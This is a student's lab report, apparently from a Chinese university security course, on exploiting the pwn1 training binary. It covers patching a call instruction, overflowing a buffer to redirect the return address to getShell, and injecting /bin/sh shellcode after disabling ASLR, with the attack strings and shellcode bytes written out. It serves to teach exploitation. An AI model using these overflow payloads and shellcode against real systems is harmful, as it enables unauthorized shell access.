20232323 2025-2026-1《網絡與系統攻防技術》實驗一實驗報告
一.實驗內容
本次實驗針對 Linux 平臺可執行文件 pwn1,圍繞緩沖區溢出(BOF)漏洞挖掘與 shellcode 注入技術展開,核心目標是通過三種路徑篡改程序執行流程:1. 手動修改機器指令,將 main 函數調用的 foo 函數替換為 getShell 函數;2. 利用 foo 函數的 BOF 漏洞,設計攻擊字符串覆蓋返回地址觸發 getShell;3. 關閉系統安全防護后,注入自定義 shellcode 以獲取交互 Shell。
學習過程中,既深入掌握匯編指令解析、棧內存結構等底層知識,也熟練運用 gdb 調試、vi 十六進制編輯、patchelf 配置等工具,并深化對小端字節序、ASLR 機制、堆棧權限控制等關鍵概念的理解。
二.實驗過程
1.直接修改程序機器指令,改變程序執行流程
修改主機

輸入指令objdump -d pwn1 | more找到getshell,foo,main

輸入cp pwn1 pwn2,復制一個文件,然后輸入vi pwn2進入到文件中。

打開文件后在 vim 的普通模式下,輸入:%!xxd命令進入十六進制編輯模式
執行命令后,vim 將文件內容以十六進制的形式顯示出來
之后向下翻找找到0xd7ffffff并將e8d7ffffff改為e8c3ffffff


之后返回查看是否正確運用于shell

執行./pwn2,可見成功執行

2.通過構造輸入參數,造成BOF攻擊,改變程序執行流
反匯編,查看foo函數

啟動gdb調試目標文件:執行gdb pwn1,進入調試模式

輸入r后輸入1111111122222222333333334444444412345678,再輸入info r確認輸入字符串有哪幾個字符覆蓋到返回地址上

輸入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input命令生成包括這樣字符串的一個文件,再輸入xxd input查看input文件的內容是否達到預期,將input的輸入,通過管道符“|”,作為pwn1的輸入

3.注入Shellcode并執行
確保 Linux 環境中已安裝 patchelf、gdb、perl和readelf

echo "0" /proc/sys/kernel/randomize_va_space用來關閉地址隨機化
more /proc/sys/kernel/randomize_va_space用來驗證地址隨機化是否關閉

"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode 創建一個 input_shellcode 文件,接著輸入 (cat input_shellcode;cat) | ./pwn1 將input_shellcode作為pwn1的輸入,輸入 ps -ef | grep pwn1 查看進程,進而得知我們的進程號為39609

啟用gdb調試程序,輸入disassemble foo反編譯foo函數并進行分析,然后輸入break *0x080484ae設置斷點

三、問題及解決方案
問題1:找不到進程號,只有一個

解決方法:詢問豆包,請教同學,使用./ &解決,成功找到進程號
四、學習感悟、思考等
這次 pwn1 緩沖區溢出實驗,讓我跳出了表層代碼邏輯,真正觸碰到了計算機底層運行的 “脈搏”。從手動改指令、覆返回地址到注入 shellcode,每一步都是對匯編、棧結構的實戰驗證 —— 比如調試時盯著 gdb 里的內存地址,才真切理解小端字節序不是書本上的概念,而是直接影響攻擊字符串構造的關鍵。
工具的運用也讓我明白,漏洞挖掘從來不是 “單打獨斗”:gdb 找斷點、vi 改十六進制、patchelf 調動態庫,這些工具的配合才讓攻擊路徑落地。而關閉 ASLR、調整堆棧權限的操作,則讓我直觀感受到系統安全機制與漏洞利用的 “攻防博弈”。
不過實驗也讓我思考:現實中系統防護遠復雜于實驗環境,如何在更嚴格的安全策略下識別風險?這次實踐不僅是掌握技術,更培養了我從 “攻擊者視角” 審視程序安全的思維,也讓我意識到,寫出安全的代碼,必須先理解漏洞產生的根源。

浙公網安備 33010602011771號